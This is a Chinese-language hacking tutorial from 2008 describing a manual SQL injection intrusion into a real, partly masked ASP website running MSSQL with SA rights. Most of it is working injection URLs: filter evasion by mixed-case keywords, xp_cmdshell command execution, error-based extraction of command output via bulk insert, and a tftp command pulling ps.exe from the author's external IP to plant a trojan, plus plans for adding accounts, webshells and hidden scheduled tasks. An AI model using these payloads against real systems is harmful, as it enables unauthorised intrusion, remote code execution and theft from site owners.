|
SQL注入中的錯誤分析及滲透技術(shù)(圖)
|
|
|
更新時間:2008-10-8 0:14:59
|
責(zé)任編輯:池天
|
|
|
|
簡介:本文主要講了在SQL注入過程中遇到一些特殊問題時的一些思考及處理思路,其中涉及了一些手工注入的語法及滲透思維,謹(jǐn)以此文獻(xiàn)給那些剛剛起步的菜鳥朋友們,我也是剛剛起步,掌握了一些技術(shù),希望將掌握的技術(shù)寫出來與大家共享、共同學(xué)習(xí)、共同提高。
普遍的判斷注入的方法相信大家都已經(jīng)掌握了,無非就是加單引號,加and 1=1 and 1=2之類的。是的這個的確是判斷注入的方法,但知道這些對于滲透入侵還是遠(yuǎn)遠(yuǎn)不夠的。我今天引用的這個例子可以通過這種方法判斷為存在注入漏洞,但是用工具卻注入不了。我們今天將采用的是手工注入的方法,在注入過程中對隨時遇到的錯誤信息進(jìn)行分析及判斷。
例子: http://www.*****.com/zhuanti/zt.asp?id=34
加單引號,返回錯誤 加and 1=1 返回正常 加and 1=2 返回錯誤 好了,先用工具注入一下,看結(jié)果。
如圖1:
從中可以看出當(dāng)前連接用戶名、庫名、權(quán)限是SA,比較大。我們在看一下是否可執(zhí)行命令,打開NBSI的命令工具,列C盤看下,結(jié)果顯示什么也沒有,再列目錄看下,結(jié)果還是一樣,空空如也。 如圖2:
到這里可能絕大多數(shù)初學(xué)的朋友就要被難住了,難道真的沒有辦法了嗎?有的!!當(dāng)然有,因?yàn)檫@個注入點(diǎn)過濾了一些關(guān)鍵字,所以用工具就無能為力了,不過轉(zhuǎn)換一下這些關(guān)鍵字的大小寫即可成功注入,下面說說手工注入該站的詳細(xì)步驟。
入侵思路:既然注入點(diǎn)權(quán)限是SA,那么首先考慮的就是執(zhí)行命令,加用戶,3389登錄,如果沒有3389開放的話,那就試試用命令執(zhí)行一些上傳操作,例如:HTTP上傳、FTP上傳、TFTP上傳等等。上傳一些木馬程序然后運(yùn)行。如果不可以執(zhí)行命令,那么還可以查查WEB主目錄,利用差異備份或者LOG備份得到一個WEBSHELL,然后再恢復(fù)命令執(zhí)行,上傳木馬并運(yùn)行。
以上面這個注入點(diǎn)為例,首先怎樣判斷注入點(diǎn)是否可執(zhí)行命令。大家都知道工具注入是不行的了,那么手工該如何判斷這個注入點(diǎn)是否能執(zhí)行命令呢?我們可以先建一個表,然后執(zhí)行一下XP_CMDSHELL存儲過程在C盤上建個目錄,再用xp_subdirs存儲過程讀C盤下的子目錄進(jìn)表中,再利用暴表的注入語句將表內(nèi)容讀出,這樣我們就知道目錄是否創(chuàng)建成功,如果成功說明可執(zhí)行命令。注入語句如下:
(1)http://www.*****.com/zhuanti/zt.asp?id=34;Create table temp(id nvarchAr(255),num1 nvarchAr(255),num2 nvarchAr(255),num3 nvarchAr(255));-- (2)http://www.*****.com/zhuanti/zt.asp?id=34;eXec master.dbo.xp_cmDshell 'md c:cxd'-- (3)http://www.*****.com/zhuanti/zt.asp?id=34;Insert into temp(id) eXec master.dbo.xp_subdirs 'c:';-- (4)http://www.*****.com/zhuanti/zt.asp?id=34 and (Select top 1 id from temp)>0-- (5)http://www.*****.com/zhuanti/zt.asp?id=34 and (Select id from (Select top 1 * from (Select top 2 * from temp order by 1) T order by 1 desc)S)>0-- (6)http://www.*****.com/zhuanti/zt.asp?id=34 and (Select id from (Select top 1 * from (Select top x * from temp order by 1) T order by 1 desc)S)>0--
可是在執(zhí)行第一條語句是出現(xiàn)了錯誤,一般正常的注入點(diǎn)執(zhí)行這個建表命令是不會出錯的,但是這個注入點(diǎn)出錯了,如圖3:
 提示信息為:數(shù)據(jù)庫中已存在名為temp的對象. 疑問1:難道是這個庫中以前就有temp表,那好吧,我們先把以前的表刪除.語句如下: http://www.*****.com/zhuanti/zt.asp?id=34;Drop table temp-- 可這次又出錯了,提示:無法除去,表不存在.這就怪事了,剛才建表是重復(fù)建表,出錯..現(xiàn)在刪表又不存在了?搞得人一頭霧水...再試,建個temp1表,提示如故:數(shù)據(jù)庫中已存在名為temp1的對象。 疑問2:難道是數(shù)據(jù)庫跟我們捉迷藏,我們建哪個表刪哪個表,它就事先知道,先我一步把它搞定了?不太可能呀,數(shù)據(jù)庫還達(dá)不到這樣的智能程度。想來想去,那只有一種可能:那就是我們提交一句注入語句被執(zhí)行了多次,當(dāng)?shù)谝淮螆?zhí)行成功后,后面的再執(zhí)行當(dāng)然就會出現(xiàn)重復(fù)建表、重復(fù)刪表的錯誤了。只是一時還得不到驗(yàn)證。既然建表已經(jīng)成功,那我們就依次提交第(2)至第(4)條語句,暴出表temp第一條記錄ID列的內(nèi)容:cxd 呵呵,正是我所希望的,c盤上存在一個名為cxd的目錄,說明此注入點(diǎn)可執(zhí)行命令。接著再來暴表temp第二條記錄的內(nèi)容,提交第(5)句,得到內(nèi)容還是:cxd,再提交: http://www.*****.com/zhuanti/zt.asp?id=34 and (Select id from (Select top 1 * from (Select top 3 * from temp order by 1) T order by 1 desc)S)>0-- 暴第三條記錄的內(nèi)容,還是cxd,接著,繼續(xù)。。 http://www.*****.com/zhuanti/zt.asp?id=34 and (Select id from (Select top 1 * from (Select top x * from temp order by 1) T order by 1 desc)S)>0-- 把X 的位置依次換成4 5 6 7 8,換成4時,暴出內(nèi)容為:cxd 換成5時,暴出內(nèi)容為:Documents and Settings 呵呵,原來第1至4條記錄是相同的,第5至8是相同的?,F(xiàn)在終于驗(yàn)證了我當(dāng)前的推斷,同一條語句被執(zhí)行了4次,導(dǎo)致執(zhí)行一句插入語句,產(chǎn)生了四條記錄。這就是上面建表提示出錯的原因,所以任何返回信息只是一種參考信息,它并不一定就是對了,或許會帶有一些迷惑性,我們在注入時要分清楚,哪些是真實(shí)的返回,哪些是虛假的。
好了,知道這個注入點(diǎn)可執(zhí)行命令了,下一步當(dāng)然是用掃描器掃端口了,看是否開3389,掃描結(jié)果如下:只開了21 80端口,看來加用戶3389登錄是沒戲了,那就試試TFTP上傳吧,注入語句如下: http://www.*****.com/zhuanti/zt.asp?id=34;eXec master.dbo.xp_cmDshell 'tftp -i 221.121.125.20 get ps.exe c:ps.exe'-- 說明一下:221.121.125.20是我自己電腦的外網(wǎng)IP,tftp -i 221.121.125.20 get ps.exe c:ps.exe是從我的電腦上下載ps.exe保存在它的C盤根目錄下。在提交前,先在本機(jī)上運(yùn)行一下tftpd32.exe,這個程序網(wǎng)上有,大家可以自己搜索一下。圖形界面的程序,大家一看就會用了,
如圖4: 點(diǎn)提交后,TFTPD32的窗口一點(diǎn)反應(yīng)都沒有,如果有機(jī)器連接進(jìn)來并且下載東東的話,TFTPD32窗口會顯示對方的IP及下載的文件名,沒反應(yīng),可能是 MSSQL服務(wù)器在內(nèi)網(wǎng)不能上互聯(lián)網(wǎng)或者被防火墻攔截了。好了,既然我們有執(zhí)行命令的權(quán)限,那我們怎樣進(jìn)一步判斷它的MSSQL數(shù)據(jù)庫是在內(nèi)網(wǎng)還是外網(wǎng)或者安裝了什么殺毒軟件,什么防火墻呢?還或者其它一些你所感興趣的東東呢?
|
|
|
|
SQL注入中的錯誤分析及滲透技術(shù)(圖)
|
|
|
更新時間:2008-10-8 0:14:59
|
責(zé)任編輯:池天
|
|
|
|
入侵思路:利用xp_cmdshell存儲過程執(zhí)行一些命令保存結(jié)果到磁盤上,然后利用bulk insert語句將這個文件讀入表中,然后利用注入語句將表內(nèi)容暴出來,我們就知道了命令執(zhí)行的結(jié)果了. (1)http://www.*****.com/zhuanti/zt.asp?id=34;eXec master.dbo.xp_cmDshell 'ipconfig /all c:cxd.txt'-- 說明一下:利用xp_cmdshell執(zhí)行命令:ipconfig /all并將結(jié)果保存到c:cxd.txt中. (2)http://www.*****.com/zhuanti/zt.asp?id=34;Create table foo(line varchar(8000))-- (3)http://www.*****.com/zhuanti/zt.asp?id=34;bulk iNsert foo from 'c:cxd.txt'-- 說明一下:bulk insert將文本文件c:cxd.txt讀入表foo中. (4)http://www.*****.com/zhuanti/zt.asp?id=34 and (sElect top 1 line from foo)>0-- 暴表foo第1條記錄內(nèi)容 (5)http://www.*****.com/zhuanti/zt.asp?id=34 and (sElect line from (sElect top 1 * from (sElect top 5 * from foo order by 1) T order by 1 desc)S)>0-- 暴第5條記錄內(nèi)容,也就是c:cxd.txt第二行內(nèi)容,前面說過了,每隔4條記錄為一組.呵呵... 依次類推,把所有內(nèi)容都暴出來...省略若干.....
結(jié)果如圖5:
從中可看出這臺機(jī)器在內(nèi)網(wǎng), IP地址是: IP Address. . . . . . . . . . . . : 192.168.0.123 IP Address. . . . . . . . . . . . : 192.168.0.7 網(wǎng)關(guān)是: Default Gateway . . . . . . . . . : 192.168.0.1 內(nèi)網(wǎng)的機(jī)器就比較棘手了。不知道它能不能訪問互聯(lián)網(wǎng)。 我們可以在這臺機(jī)器上運(yùn)行一下ping www.tom.com看返回情況,注入語句如下: (1)http://www.*****.com/zhuanti/zt.asp?id=34;eXec master.dbo.xp_cmDshell 'ping www.tom.com>c:cxd.txt'-- (2)http://www.*****.com/zhuanti/zt.asp?id=34;dElete from foo-- 清空表內(nèi)容 (3)http://www.*****.com/zhuanti/zt.asp?id=34;bulk iNsert foo from 'c:cxd.txt'-- (4)http://www.*****.com/zhuanti/zt.asp?id=34 and (sElect line from (sElect top 1 * from (sElect top X * from foo order by 1) T order by 1 desc)S)>0-- 把X依次換成1 5 9 13 17 21 25 29 。。。。省略N多,暴出內(nèi)容來,返回如下: Ping request could not find host www.tom.com. Please check the name and try again. 再試下直接ping IP的方法 (1)http://www.*****.com/zhuanti/zt.asp?id=34;eXec master.dbo.xp_cmDshell 'ping 202.108.12.68>c:cxd.txt'-- (2)http://www.*****.com/zhuanti/zt.asp?id=34;dElete from foo-- 清空表內(nèi)容 (3)http://www.*****.com/zhuanti/zt.asp?id=34;bulk iNsert foo from 'c:cxd.txt'-- (4)http://www.*****.com/zhuanti/zt.asp?id=34 and (sElect line from (sElect top 1 * from (sElect top X * from foo order by 1) T order by 1 desc)S)>0-- X依次換成1 5 9 13 17 21 25 29 33 返回:Packets: Sent = 4, Received = 0, Lost = 4 (100% loss) 丟包是100%,完全ping不通互聯(lián)網(wǎng),看來這臺內(nèi)網(wǎng)的MSSQL服務(wù)器是沒有連接互聯(lián)網(wǎng)的,那我們的入侵就到此止了嗎?不。。我們還可以進(jìn)一步進(jìn)行滲透,也許就能找到些突破口呢!
滲透思路:用xp_cmdshell執(zhí)行netstat -an查看端口情況,看有沒有什么特殊端口開放,執(zhí)行net start查看一下有沒有特殊服務(wù),查一下服務(wù)器操作系統(tǒng)版本,寫進(jìn)啟動目錄下載腳本或者用schtasks建隱藏任務(wù),每隔一定時間執(zhí)行一些操作。
先看一下端口吧,注入語句: (1)http://www.*****.com/zhuanti/zt.asp?id=34;drop TABLE D99_CMD;Create TABLE D99_CMD([Data][varchAr](1000),ID int NOT NULL IDENTITY (1,1));Insert D99_CMD eXec master.dbo.xp_Cmdshell 'netstat -an;-- (2)http://www.*****.com/zhuanti/zt.asp?id=34 And (Select Top 1 chAr(124)%2Bdata%2BchAr(124) From (Select Top x [ID],[Data] From D99_CMD Order by [ID]) T Order by [ID] desc)>0-- X依次換成1 2 3 4 5 6 7 8 9......就可以暴出它的端口連接情況。其它端口都比較正常,只是有一個端口比較陌生,8389端口。
如圖6:
和3389只有一字之差,會不會是它開的終端服務(wù)呢?打開遠(yuǎn)程桌面連接,鍵入IP:8389,成功出現(xiàn)了遠(yuǎn)程終端的登錄界界,呵呵。。。原來遠(yuǎn)程終端改端口了。
如圖7:
接著再來執(zhí)行前面的那個注入語句,看一下服務(wù)器連接情況,并沒有看到我的IP連接到它的8389端口。說明我連接的IP并不是這臺內(nèi)網(wǎng)機(jī)器。唉。。?;蛟S可以直接從網(wǎng)站入手試試上傳,進(jìn)后臺什么的?我就不試了,就像ET所說的玩黑考的就是耐心與心機(jī),只要大家認(rèn)真學(xué),認(rèn)真體會,就能掌握里面的奧妙,入侵滲透需要掌握方方面面的大量知識,并且還需要大家能夠靈活運(yùn)用,多動手多動腦,本文只是初步涉及,許多不足之處還請大家批評指正。
|
|